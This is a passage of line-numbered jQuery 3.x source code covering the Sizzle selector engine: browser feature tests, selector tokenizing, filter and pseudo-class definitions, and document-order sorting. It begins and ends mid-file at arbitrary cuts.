1155 // so use a roundabout getElementsByName test
1156 support.getById = assert( function( el ) {
1157 documentElement.appendChild( el ).id = jQuery.expando;
1158 return !document.getElementsByName ||
1159 !document.getElementsByName( jQuery.expando ).length;
1160 } );
1161
1162 // Support: IE 9 only
1163 // Check to see if it's possible to do matchesSelector
1164 // on a disconnected node.
1165 support.disconnectedMatch = assert( function( el ) {
1166 return matches.call( el, "*" );
1167 } );
1168
1169 // Support: IE 9 - 11+, Edge 12 - 18+
1170 // IE/Edge don't support the :scope pseudo-class.
1171 support.scope = assert( function() {
1172 return document.querySelectorAll( ":scope" );
1173 } );
1174
1175 // Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only
1176 // Make sure the `:has()` argument is parsed unforgivingly.
1177 // We include `*` in the test to detect buggy implementations that are
1178 // _selectively_ forgiving (specifically when the list includes at least
1179 // one valid selector).
1180 // Note that we treat complete lack of support for `:has()` as if it were
1181 // spec-compliant support, which is fine because use of `:has()` in such
1182 // environments will fail in the qSA path and fall back to jQuery traversal
1183 // anyway.
1184 support.cssHas = assert( function() {
1185 try {
1186 document.querySelector( ":has(*,:jqfake)" );
1187 return false;
1188 } catch ( e ) {
1189 return true;
1190 }
1191 } );
1192
1193 // ID filter and find
1194 if ( support.getById ) {
1195 Expr.filter.ID = function( id ) {
1196 var attrId = id.replace( runescape, funescape );
1197 return function( elem ) {
1198 return elem.getAttribute( "id" ) === attrId;
1199 };
1200 };
1201 Expr.find.ID = function( id, context ) {
1202 if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
1203 var elem = context.getElementById( id );
1204 return elem ? [ elem ] : [];
1205 }
1206 };
1207 } else {
1208 Expr.filter.ID = function( id ) {
1209 var attrId = id.replace( runescape, funescape );
1210 return function( elem ) {
1211 var node = typeof elem.getAttributeNode !== "undefined" &&
1212 elem.getAttributeNode( "id" );
1213 return node && node.value === attrId;
1214 };
1215 };
1216
1217 // Support: IE 6 - 7 only
1218 // getElementById is not reliable as a find shortcut
1219 Expr.find.ID = function( id, context ) {
1220 if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
1221 var node, i, elems,
1222 elem = context.getElementById( id );
1223
1224 if ( elem ) {
1225
1226 // Verify the id attribute
1227 node = elem.getAttributeNode( "id" );
1228 if ( node && node.value === id ) {
1229 return [ elem ];
1230 }
1231
1232 // Fall back on getElementsByName
1233 elems = context.getElementsByName( id );
1234 i = 0;
1235 while ( ( elem = elems[ i++ ] ) ) {
1236 node = elem.getAttributeNode( "id" );
1237 if ( node && node.value === id ) {
1238 return [ elem ];
1239 }
1240 }
1241 }
1242
1243 return [];
1244 }
1245 };
1246 }
1247
1248 // Tag
1249 Expr.find.TAG = function( tag, context ) {
1250 if ( typeof context.getElementsByTagName !== "undefined" ) {
1251 return context.getElementsByTagName( tag );
1252
1253 // DocumentFragment nodes don't have gEBTN
1254 } else {
1255 return context.querySelectorAll( tag );
1256 }
1257 };
1258
1259 // Class
1260 Expr.find.CLASS = function( className, context ) {
1261 if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) {
1262 return context.getElementsByClassName( className );
1263 }
1264 };
1265
1266 /* QSA/matchesSelector
1267 ---------------------------------------------------------------------- */
1268
1269 // QSA and matchesSelector support
1270
1271 rbuggyQSA = [];
1272
1273 // Build QSA regex
1274 // Regex strategy adopted from Diego Perini
1275 assert( function( el ) {
1276
1277 var input;
1278
1279 documentElement.appendChild( el ).innerHTML =
1280 "<a id='" + expando + "' href='' disabled='disabled'></a>" +
1281 "<select id='" + expando + "-\r\\' disabled='disabled'>" +
1282 "<option selected=''></option></select>";
1283
1284 // Support: iOS <=7 - 8 only
1285 // Boolean attributes and "value" are not treated correctly in some XML documents
1286 if ( !el.querySelectorAll( "[selected]" ).length ) {
1287 rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
1288 }
1289
1290 // Support: iOS <=7 - 8 only
1291 if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) {
1292 rbuggyQSA.push( "~=" );
1293 }
1294
1295 // Support: iOS 8 only
1296 // https://bugs.webkit.org/show_bug.cgi?id=136851
1297 // In-page `selector#id sibling-combinator selector` fails
1298 if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) {
1299 rbuggyQSA.push( ".#.+[+~]" );
1300 }
1301
1302 // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+
1303 // In some of the document kinds, these selectors wouldn't work natively.
1304 // This is probably OK but for backwards compatibility we want to maintain
1305 // handling them through jQuery traversal in jQuery 3.x.
1306 if ( !el.querySelectorAll( ":checked" ).length ) {
1307 rbuggyQSA.push( ":checked" );
1308 }
1309
1310 // Support: Windows 8 Native Apps
1311 // The type and name attributes are restricted during .innerHTML assignment
1312 input = document.createElement( "input" );
1313 input.setAttribute( "type", "hidden" );
1314 el.appendChild( input ).setAttribute( "name", "D" );
1315
1316 // Support: IE 9 - 11+
1317 // IE's :disabled selector does not pick up the children of disabled fieldsets
1318 // Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+
1319 // In some of the document kinds, these selectors wouldn't work natively.
1320 // This is probably OK but for backwards compatibility we want to maintain
1321 // handling them through jQuery traversal in jQuery 3.x.
1322 documentElement.appendChild( el ).disabled = true;
1323 if ( el.querySelectorAll( ":disabled" ).length !== 2 ) {
1324 rbuggyQSA.push( ":enabled", ":disabled" );
1325 }
1326
1327 // Support: IE 11+, Edge 15 - 18+
1328 // IE 11/Edge don't find elements on a `[name='']` query in some cases.
1329 // Adding a temporary attribute to the document before the selection works
1330 // around the issue.
1331 // Interestingly, IE 10 & older don't seem to have the issue.
1332 input = document.createElement( "input" );
1333 input.setAttribute( "name", "" );
1334 el.appendChild( input );
1335 if ( !el.querySelectorAll( "[name='']" ).length ) {
1336 rbuggyQSA.push( "\\[" + whitespace + "*name" + whitespace + "*=" +
1337 whitespace + "*(?:''|\"\")" );
1338 }
1339 } );
1340
1341 if ( !support.cssHas ) {
1342
1343 // Support: Chrome 105 - 110+, Safari 15.4 - 16.3+
1344 // Our regular `try-catch` mechanism fails to detect natively-unsupported
1345 // pseudo-classes inside `:has()` (such as `:has(:contains("Foo"))`)
1346 // in browsers that parse the `:has()` argument as a forgiving selector list.
1347 // https://drafts.csswg.org/selectors/#relational now requires the argument
1348 // to be parsed unforgivingly, but browsers have not yet fully adjusted.
1349 rbuggyQSA.push( ":has" );
1350 }
1351
1352 rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) );
1353
1354 /* Sorting
1355 ---------------------------------------------------------------------- */
1356
1357 // Document order sorting
1358 sortOrder = function( a, b ) {
1359
1360 // Flag for duplicate removal
1361 if ( a === b ) {
1362 hasDuplicate = true;
1363 return 0;
1364 }
1365
1366 // Sort on method existence if only one input has compareDocumentPosition
1367 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
1368 if ( compare ) {
1369 return compare;
1370 }
1371
1372 // Calculate position if both inputs belong to the same document
1373 // Support: IE 11+, Edge 17 - 18+
1374 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1375 // two documents; shallow comparisons work.
1376 // eslint-disable-next-line eqeqeq
1377 compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ?
1378 a.compareDocumentPosition( b ) :
1379
1380 // Otherwise we know they are disconnected
1381 1;
1382
1383 // Disconnected nodes
1384 if ( compare & 1 ||
1385 ( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) {
1386
1387 // Choose the first element that is related to our preferred document
1388 // Support: IE 11+, Edge 17 - 18+
1389 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1390 // two documents; shallow comparisons work.
1391 // eslint-disable-next-line eqeqeq
1392 if ( a === document || a.ownerDocument == preferredDoc &&
1393 find.contains( preferredDoc, a ) ) {
1394 return -1;
1395 }
1396
1397 // Support: IE 11+, Edge 17 - 18+
1398 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1399 // two documents; shallow comparisons work.
1400 // eslint-disable-next-line eqeqeq
1401 if ( b === document || b.ownerDocument == preferredDoc &&
1402 find.contains( preferredDoc, b ) ) {
1403 return 1;
1404 }
1405
1406 // Maintain original order
1407 return sortInput ?
1408 ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
1409 0;
1410 }
1411
1412 return compare & 4 ? -1 : 1;
1413 };
1414
1415 return document;
1416}
1417
1418find.matches = function( expr, elements ) {
1419 return find( expr, null, null, elements );
1420};
1421
1422find.matchesSelector = function( elem, expr ) {
1423 setDocument( elem );
1424
1425 if ( documentIsHTML &&
1426 !nonnativeSelectorCache[ expr + " " ] &&
1427 ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {
1428
1429 try {
1430 var ret = matches.call( elem, expr );
1431
1432 // IE 9's matchesSelector returns false on disconnected nodes
1433 if ( ret || support.disconnectedMatch ||
1434
1435 // As well, disconnected nodes are said to be in a document
1436 // fragment in IE 9
1437 elem.document && elem.document.nodeType !== 11 ) {
1438 return ret;
1439 }
1440 } catch ( e ) {
1441 nonnativeSelectorCache( expr, true );
1442 }
1443 }
1444
1445 return find( expr, document, null, [ elem ] ).length > 0;
1446};
1447
1448find.contains = function( context, elem ) {
1449
1450 // Set document vars if needed
1451 // Support: IE 11+, Edge 17 - 18+
1452 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1453 // two documents; shallow comparisons work.
1454 // eslint-disable-next-line eqeqeq
1455 if ( ( context.ownerDocument || context ) != document ) {
1456 setDocument( context );
1457 }
1458 return jQuery.contains( context, elem );
1459};
1460
1461
1462find.attr = function( elem, name ) {
1463
1464 // Set document vars if needed
1465 // Support: IE 11+, Edge 17 - 18+
1466 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
1467 // two documents; shallow comparisons work.
1468 // eslint-disable-next-line eqeqeq
1469 if ( ( elem.ownerDocument || elem ) != document ) {
1470 setDocument( elem );
1471 }
1472
1473 var fn = Expr.attrHandle[ name.toLowerCase() ],
1474
1475 // Don't get fooled by Object.prototype properties (see trac-13807)
1476 val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
1477 fn( elem, name, !documentIsHTML ) :
1478 undefined;
1479
1480 if ( val !== undefined ) {
1481 return val;
1482 }
1483
1484 return elem.getAttribute( name );
1485};
1486
1487find.error = function( msg ) {
1488 throw new Error( "Syntax error, unrecognized expression: " + msg );
1489};
1490
1491/**
1492 * Document sorting and removing duplicates
1493 * @param {ArrayLike} results
1494 */
1495jQuery.uniqueSort = function( results ) {
1496 var elem,
1497 duplicates = [],
1498 j = 0,
1499 i = 0;
1500
1501 // Unless we *know* we can detect duplicates, assume their presence
1502 //
1503 // Support: Android <=4.0+
1504 // Testing for detecting duplicates is unpredictable so instead assume we can't
1505 // depend on duplicate detection in all browsers without a stable sort.
1506 hasDuplicate = !support.sortStable;
1507 sortInput = !support.sortStable && slice.call( results, 0 );
1508 sort.call( results, sortOrder );
1509
1510 if ( hasDuplicate ) {
1511 while ( ( elem = results[ i++ ] ) ) {
1512 if ( elem === results[ i ] ) {
1513 j = duplicates.push( i );
1514 }
1515 }
1516 while ( j-- ) {
1517 splice.call( results, duplicates[ j ], 1 );
1518 }
1519 }
1520
1521 // Clear input after sorting to release objects
1522 // See https://github.com/jquery/sizzle/pull/225
1523 sortInput = null;
1524
1525 return results;
1526};
1527
1528jQuery.fn.uniqueSort = function() {
1529 return this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) );
1530};
1531
1532Expr = jQuery.expr = {
1533
1534 // Can be adjusted by the user
1535 cacheLength: 50,
1536
1537 createPseudo: markFunction,
1538
1539 match: matchExpr,
1540
1541 attrHandle: {},
1542
1543 find: {},
1544
1545 relative: {
1546 ">": { dir: "parentNode", first: true },
1547 " ": { dir: "parentNode" },
1548 "+": { dir: "previousSibling", first: true },
1549 "~": { dir: "previousSibling" }
1550 },
1551
1552 preFilter: {
1553 ATTR: function( match ) {
1554 match[ 1 ] = match[ 1 ].replace( runescape, funescape );
1555
1556 // Move the given value to match[3] whether quoted or unquoted
1557 match[ 3 ] = ( match[ 3 ] || match[ 4 ] || match[ 5 ] || "" )
1558 .replace( runescape, funescape );
1559
1560 if ( match[ 2 ] === "~=" ) {
1561 match[ 3 ] = " " + match[ 3 ] + " ";
1562 }
1563
1564 return match.slice( 0, 4 );
1565 },
1566
1567 CHILD: function( match ) {
1568
1569 /* matches from matchExpr["CHILD"]
1570 1 type (only|nth|...)
1571 2 what (child|of-type)
1572 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
1573 4 xn-component of xn+y argument ([+-]?\d*n|)
1574 5 sign of xn-component
1575 6 x of xn-component
1576 7 sign of y-component
1577 8 y of y-component
1578 */
1579 match[ 1 ] = match[ 1 ].toLowerCase();
1580
1581 if ( match[ 1 ].slice( 0, 3 ) === "nth" ) {
1582
1583 // nth-* requires argument
1584 if ( !match[ 3 ] ) {
1585 find.error( match[ 0 ] );
1586 }
1587
1588 // numeric x and y parameters for Expr.filter.CHILD
1589 // remember that false/true cast respectively to 0/1
1590 match[ 4 ] = +( match[ 4 ] ?
1591 match[ 5 ] + ( match[ 6 ] || 1 ) :
1592 2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" )
1593 );
1594 match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" );
1595
1596 // other types prohibit arguments
1597 } else if ( match[ 3 ] ) {
1598 find.error( match[ 0 ] );
1599 }
1600
1601 return match;
1602 },
1603
1604 PSEUDO: function( match ) {
1605 var excess,
1606 unquoted = !match[ 6 ] && match[ 2 ];
1607
1608 if ( matchExpr.CHILD.test( match[ 0 ] ) ) {
1609 return null;
1610 }
1611
1612 // Accept quoted arguments as-is
1613 if ( match[ 3 ] ) {
1614 match[ 2 ] = match[ 4 ] || match[ 5 ] || "";
1615
1616 // Strip excess characters from unquoted arguments
1617 } else if ( unquoted && rpseudo.test( unquoted ) &&
1618
1619 // Get excess from tokenize (recursively)
1620 ( excess = tokenize( unquoted, true ) ) &&
1621
1622 // advance to the next closing parenthesis
1623 ( excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length ) ) {
1624
1625 // excess is a negative index
1626 match[ 0 ] = match[ 0 ].slice( 0, excess );
1627 match[ 2 ] = unquoted.slice( 0, excess );
1628 }
1629
1630 // Return only captures needed by the pseudo filter method (type and argument)
1631 return match.slice( 0, 3 );
1632 }
1633 },
1634
1635 filter: {
1636
1637 TAG: function( nodeNameSelector ) {
1638 var expectedNodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
1639 return nodeNameSelector === "*" ?
1640 function() {
1641 return true;
1642 } :
1643 function( elem ) {
1644 return nodeName( elem, expectedNodeName );
1645 };
1646 },
1647
1648 CLASS: function( className ) {
1649 var pattern = classCache[ className + " " ];
1650
1651 return pattern ||
1652 ( pattern = new RegExp( "(^|" + whitespace + ")" + className +
1653 "(" + whitespace + "|$)" ) ) &&
1654 classCache( className, function( elem ) {
1655 return pattern.test(
1656 typeof elem.className === "string" && elem.className ||
1657 typeof elem.getAttribute !== "undefined" &&
1658 elem.getAttribute( "class" ) ||
1659 ""
1660 );
1661 } );
1662 },
1663
1664 ATTR: function( name, operator, check ) {
1665 return function( elem ) {
1666 var result = find.attr( elem, name );
1667
1668 if ( result == null ) {
1669 return operator === "!=";
1670 }
1671 if ( !operator ) {
1672 return true;
1673 }
1674
1675 result += "";
1676
1677 if ( operator === "=" ) {
1678 return result === check;
1679 }
1680 if ( operator === "!=" ) {
1681 return result !== check;
1682 }
1683 if ( operator === "^=" ) {
1684 return check && result.indexOf( check ) === 0;
1685 }
1686 if ( operator === "*=" ) {
1687 return check && result.indexOf( check ) > -1;
1688 }
1689 if ( operator === "$=" ) {
1690 return check && result.slice( -check.length ) === check;
1691 }
1692 if ( operator === "~=" ) {
1693 return ( " " + result.replace( rwhitespace, " " ) + " " )
1694 .indexOf( check ) > -1;
1695 }
1696 if ( operator === "|=" ) {
1697 return result === check || result.slice( 0, check.length + 1 ) === check + "-";
1698 }
1699
1700 return false;
1701 };
1702 },
1703
1704 CHILD: function( type, what, _argument, first, last ) {
1705 var simple = type.slice( 0, 3 ) !== "nth",
1706 forward = type.slice( -4 ) !== "last",
1707 ofType = what === "of-type";
1708
1709 return first === 1 && last === 0 ?
1710
1711 // Shortcut for :nth-*(n)
1712 function( elem ) {
1713 return !!elem.parentNode;
1714 } :
1715
1716 function( elem, _context, xml ) {
1717 var cache, outerCache, node, nodeIndex, start,
1718 dir = simple !== forward ? "nextSibling" : "previousSibling",
1719 parent = elem.parentNode,
1720 name = ofType && elem.nodeName.toLowerCase(),
1721 useCache = !xml && !ofType,
1722 diff = false;
1723
1724 if ( parent ) {
1725
1726 // :(first|last|only)-(child|of-type)
1727 if ( simple ) {
1728 while ( dir ) {
1729 node = elem;
1730 while ( ( node = node[ dir ] ) ) {
1731 if ( ofType ?
1732 nodeName( node, name ) :
1733 node.nodeType === 1 ) {
1734
1735 return false;
1736 }
1737 }
1738
1739 // Reverse direction for :only-* (if we haven't yet done so)
1740 start = dir = type === "only" && !start && "nextSibling";
1741 }
1742 return true;
1743 }
1744
1745 start = [ forward ? parent.firstChild : parent.lastChild ];
1746
1747 // non-xml :nth-child(...) stores cache data on `parent`
1748 if ( forward && useCache ) {
1749
1750 // Seek `elem` from a previously-cached index
1751 outerCache = parent[ expando ] || ( parent[ expando ] = {} );
1752 cache = outerCache[ type ] || [];
1753 nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
1754 diff = nodeIndex && cache[ 2 ];
1755 node = nodeIndex && parent.childNodes[ nodeIndex ];
1756
1757 while ( ( node = ++nodeIndex && node && node[ dir ] ||
1758
1759 // Fallback to seeking `elem` from the start
1760 ( diff = nodeIndex = 0 ) || start.pop() ) ) {
1761
1762 // When found, cache indexes on `parent` and break
1763 if ( node.nodeType === 1 && ++diff && node === elem ) {
1764 outerCache[ type ] = [ dirruns, nodeIndex, diff ];
1765 break;
1766 }
1767 }
1768
1769 } else {
1770
1771 // Use previously-cached element index if available
1772 if ( useCache ) {
1773 outerCache = elem[ expando ] || ( elem[ expando ] = {} );
1774 cache = outerCache[ type ] || [];
1775 nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
1776 diff = nodeIndex;
1777 }
1778
1779 // xml :nth-child(...)
1780 // or :nth-last-child(...) or :nth(-last)?-of-type(...)
1781 if ( diff === false ) {
1782
1783 // Use the same loop as above to seek `elem` from the start
1784 while ( ( node = ++nodeIndex && node && node[ dir ] ||
1785 ( diff = nodeIndex = 0 ) || start.pop() ) ) {
1786
1787 if ( ( ofType ?
1788 nodeName( node, name ) :
1789 node.nodeType === 1 ) &&
1790 ++diff ) {
1791
1792 // Cache the index of each encountered element
1793 if ( useCache ) {
1794 outerCache = node[ expando ] ||
1795 ( node[ expando ] = {} );
1796 outerCache[ type ] = [ dirruns, diff ];
1797 }
1798
1799 if ( node === elem ) {
1800 break;
1801 }
1802 }
1803 }
1804 }
1805 }
1806
1807 // Incorporate the offset, then check against cycle size
1808 diff -= last;
1809 return diff === first || ( diff % first === 0 && diff / first >= 0 );
1810 }
1811 };
1812 },
1813
1814 PSEUDO: function( pseudo, argument ) {
1815
1816 // pseudo-class names are case-insensitive
1817 // https://www.w3.org/TR/selectors/#pseudo-classes
1818 // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
1819 // Remember that setFilters inherits from pseudos
1820 var args,
1821 fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
1822 find.error( "unsupported pseudo: " + pseudo );
1823
1824 // The user may use createPseudo to indicate that
1825 // arguments are needed to create the filter function
1826 // just as jQuery does
1827 if ( fn[ expando ] ) {
1828 return fn( argument );
1829 }
1830
1831 // But maintain support for old signatures
1832 if ( fn.length > 1 ) {
1833 args = [ pseudo, pseudo, "", argument ];
1834 return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
1835 markFunction( function( seed, matches ) {
1836 var idx,
1837 matched = fn( seed, argument ),
1838 i = matched.length;
1839 while ( i-- ) {
1840 idx = indexOf.call( seed, matched[ i ] );
1841 seed[ idx ] = !( matches[ idx ] = matched[ i ] );
1842 }
1843 } ) :
1844 function( elem ) {
1845 return fn( elem, 0, args );
1846 };
1847 }
1848
1849 return fn;
1850 }
1851 },
1852
1853 pseudos: {
1854
1855 // Potentially complex pseudos
1856 not: markFunction( function( selector ) {
1857
1858 // Trim the selector passed to compile
1859 // to avoid treating leading and trailing
1860 // spaces as combinators
1861 var input = [],
1862 results = [],
1863 matcher = compile( selector.replace( rtrimCSS, "$1" ) );
1864
1865 return matcher[ expando ] ?
1866 markFunction( function( seed, matches, _context, xml ) {
1867 var elem,
1868 unmatched = matcher( seed, null, xml, [] ),
1869 i = seed.length;
1870
1871 // Match elements unmatched by `matcher`
1872 while ( i-- ) {
1873 if ( ( elem = unmatched[ i ] ) ) {
1874 seed[ i ] = !( matches[ i ] = elem );
1875 }
1876 }
1877 } ) :
1878 function( elem, _context, xml ) {
1879 input[ 0 ] = elem;
1880 matcher( input, null, xml, results );
1881
1882 // Don't keep the element
1883 // (see https://github.com/jquery/sizzle/issues/299)
1884 input[ 0 ] = null;
1885 return !results.pop();
1886 };
1887 } ),
1888
1889 has: markFunction( function( selector ) {
1890 return function( elem ) {
1891 return find( selector, elem ).length > 0;
1892 };
1893 } ),
1894
1895 contains: markFunction( function( text ) {
1896 text = text.replace( runescape, funescape );
1897 return function( elem ) {
1898 return ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1;
1899 };
1900 } ),
1901
1902 // "Whether an element is represented by a :lang() selector
1903 // is based solely on the element's language value
1904 // being equal to the identifier C,
1905 // or beginning with the identifier C immediately followed by "-".
1906 // The matching of C against the element's language value is performed case-insensitively.
1907 // The identifier C does not have to be a valid language name."
1908 // https://www.w3.org/TR/selectors/#lang-pseudo
1909 lang: markFunction( function( lang ) {
1910
1911 // lang value must be a valid identifier
1912 if ( !ridentifier.test( lang || "" ) ) {
1913 find.error( "unsupported lang: " + lang );
1914 }
1915 lang = lang.replace( runescape, funescape ).toLowerCase();
1916 return function( elem ) {
1917 var elemLang;
1918 do {
1919 if ( ( elemLang = documentIsHTML ?
1920 elem.lang :
1921 elem.getAttribute( "xml:lang" ) || elem.getAttribute( "lang" ) ) ) {
1922
1923 elemLang = elemLang.toLowerCase();
1924 return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
1925 }
1926 } while ( ( elem = elem.parentNode ) && elem.nodeType === 1 );
1927 return false;
1928 };
1929 } ),
1930
1931 // Miscellaneous
1932 target: function( elem ) {
1933 var hash = window.location && window.location.hash;
1934 return hash && hash.slice( 1 ) === elem.id;
1935 },
1936
1937 root: function( elem ) {
1938 return elem === documentElement;
1939 },
1940
1941 focus: function( elem ) {
1942 return elem === safeActiveElement() &&
1943 document.hasFocus() &&
1944 !!( elem.type || elem.href || ~elem.tabIndex );
1945 },
1946
1947 // Boolean properties
1948 enabled: createDisabledPseudo( false ),
1949 disabled: createDisabledPseudo( true ),
1950
1951 checked: function( elem ) {
1952
1953 // In CSS3, :checked should return both checked and selected elements
1954 // https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
1955 return ( nodeName( elem, "input" ) && !!elem.checked ) ||
1956 ( nodeName( elem, "option" ) && !!elem.selected );
1957 },
1958
1959 selected: function( elem ) {
1960
1961 // Support: IE <=11+
1962 // Accessing the selectedIndex property
1963 // forces the browser to treat the default option as
1964 // selected when in an optgroup.
1965 if ( elem.parentNode ) {
1966 // eslint-disable-next-line no-unused-expressions
1967 elem.parentNode.selectedIndex;
1968 }
1969
1970 return elem.selected === true;
1971 },
1972
1973 // Contents
1974 empty: function( elem ) {
1975
1976 // https://www.w3.org/TR/selectors/#empty-pseudo
1977 // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
1978 // but not by others (comment: 8; processing instruction: 7; etc.)
1979 // nodeType < 6 works because attributes (2) do not appear as children
1980 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
1981 if ( elem.nodeType < 6 ) {
1982 return false;
1983 }
1984 }
1985 return true;
1986 },
1987
1988 parent: function( elem ) {
1989 return !Expr.pseudos.empty( elem );
1990 },
1991
1992 // Element/input types
1993 header: function( elem ) {
1994 return rheader.test( elem.nodeName );
1995 },
1996
1997 input: function( elem ) {
1998 return rinputs.test( elem.nodeName );
1999 },
2000
2001 button: function( elem ) {
2002 return nodeName( elem, "input" ) && elem.type === "button" ||
2003 nodeName( elem, "button" );
2004 },
2005
2006 text: function( elem ) {
2007 var attr;
2008 return nodeName( elem, "input" ) && elem.type === "text" &&
2009
2010 // Support: IE <10 only
2011 // New HTML5 attribute values (e.g., "search") appear
2012 // with elem.type === "text"
2013 ( ( attr = elem.getAttribute( "type" ) ) == null ||
2014 attr.toLowerCase() === "text" );
2015 },
2016
2017 // Position-in-collection
2018 first: createPositionalPseudo( function() {
2019 return [ 0 ];
2020 } ),
2021
2022 last: createPositionalPseudo( function( _matchIndexes, length ) {
2023 return [ length - 1 ];
2024 } ),
2025
2026 eq: createPositionalPseudo( function( _matchIndexes, length, argument ) {
2027 return [ argument < 0 ? argument + length : argument ];
2028 } ),
2029
2030 even: createPositionalPseudo( function( matchIndexes, length ) {
2031 var i = 0;
2032 for ( ; i < length; i += 2 ) {
2033 matchIndexes.push( i );
2034 }
2035 return matchIndexes;
2036 } ),
2037
2038 odd: createPositionalPseudo( function( matchIndexes, length ) {
2039 var i = 1;
2040 for ( ; i < length; i += 2 ) {
2041 matchIndexes.push( i );
2042 }
2043 return matchIndexes;
2044 } ),
2045
2046 lt: createPositionalPseudo( function( matchIndexes, length, argument ) {
2047 var i;
2048
2049 if ( argument < 0 ) {
2050 i = argument + length;
2051 } else if ( argument > length ) {
2052 i = length;
2053 } else {
2054 i = argument;
2055 }
2056
2057 for ( ; --i >= 0; ) {
2058 matchIndexes.push( i );
2059 }
2060 return matchIndexes;
2061 } ),
2062
2063 gt: createPositionalPseudo( function( matchIndexes, length, argument ) {
2064 var i = argument < 0 ? argument + length : argument;
2065 for ( ; ++i < length; ) {
2066 matchIndexes.push( i );
2067 }
2068 return matchIndexes;
2069 } )
2070 }
2071};
2072
2073Expr.pseudos.nth = Expr.pseudos.eq;
2074
2075// Add button/input type pseudos
2076for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
2077 Expr.pseudos[ i ] = createInputPseudo( i );
2078}
2079for ( i in { submit: true, reset: true } ) {
2080 Expr.pseudos[ i ] = createButtonPseudo( i );
2081}
2082
2083// Easy API for creating new setFilters
2084function setFilters() {}
2085setFilters.prototype = Expr.filters = Expr.pseudos;
2086Expr.setFilters = new setFilters();
2087
2088function tokenize( selector, parseOnly ) {
2089 var matched, match, tokens, type,
2090 soFar, groups, preFilters,
2091 cached = tokenCache[ selector + " " ];
2092
2093 if ( cached ) {
2094 return parseOnly ? 0 : cached.slice( 0 );
2095 }
2096
2097 soFar = selector;
2098 groups = [];
2099 preFilters = Expr.preFilter;
2100
2101 while ( soFar ) {
2102
2103 // Comma and first run
2104 if ( !matched || ( match = rcomma.exec( soFar ) ) ) {
2105 if ( match ) {
2106
2107 // Don't consume trailing commas as valid
2108 soFar = soFar.slice( match[ 0 ].length ) || soFar;
2109 }
2110 groups.push( ( tokens = [] ) );
2111 }
2112
2113 matched = false;
2114
2115 // Combinators
2116 if ( ( match = rleadingCombinator.exec( soFar ) ) ) {
2117 matched = match.shift();
2118 tokens.push( {
2119 value: matched,
2120
2121 // Cast descendant combinators to space
2122 type: match[ 0 ].replace( rtrimCSS, " " )
2123 } );
2124 soFar = soFar.slice( matched.length );
2125 }
2126
2127 // Filters
2128 for ( type in Expr.filter ) {
2129 if ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] ||
2130 ( match = preFilters[ type ]( match ) ) ) ) {
2131 matched = match.shift();
2132 tokens.push( {
2133 value: matched,
2134 type: type,
2135 matches: match
2136 } );
2137 soFar = soFar.slice( matched.length );
2138 }
2139 }
2140
2141 if ( !matched ) {
2142 break;
2143 }
2144 }
2145
2146 // Return the length of the invalid excess
2147 // if we're just parsing
2148 // Otherwise, throw an error or return tokens
2149 if ( parseOnly ) {
2150 return soFar.length;
2151 }
2152
2153 return soFar ?
2154 find.error( selector ) :
2155
2156 // Cache the tokens
2157 tokenCache( selector, groups ).slice( 0 );
2158}
2159
2160function toSelector( tokens ) {
2161 var i = 0,
2162 len = tokens.length,
2163 selector = "";
2164 for ( ; i < len; i++ ) {
2165 selector += tokens[ i ].value;
2166 }
2167 return selector;
2168}
2169
2170function addCombinator( matcher, combinator, base ) {
2171 var dir = combinator.dir,
2172 skip = combinator.next,
2173 key = skip || dir,
2174 checkNonElements = base && key === "parentNode",
2175 doneName = done++;
2176
2177 return combinator.first ?
2178
2179 // Check against closest ancestor/preceding element
2180 function( elem, context, xml ) {
2181 while ( ( elem = elem[ dir ] ) ) {
2182 if ( elem.nodeType === 1 || checkNonElements ) {
2183 return matcher( elem, context, xml );
2184 }
2185 }
2186 return false;
2187 } :
2188
2189 // Check against all ancestor/preceding elements
2190 function( elem, context, xml ) {
2191 var oldCache, outerCache,
2192 newCache = [ dirruns, doneName ];
2193
2194 // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching
2195 if ( xml ) {
2196 while ( ( elem = elem[ dir ] ) ) {
2197 if ( elem.nodeType === 1 || checkNonElements ) {
2198 if ( matcher( elem, context, xml ) ) {
2199 return true;
2200 }
2201 }
2202 }
2203 } else {
2204 while ( ( elem = elem[ dir ] ) ) {
2205 if ( elem.nodeType === 1 || checkNonElements ) {
2206 outerCache = elem[ expando ] || ( elem[ expando ] = {} );
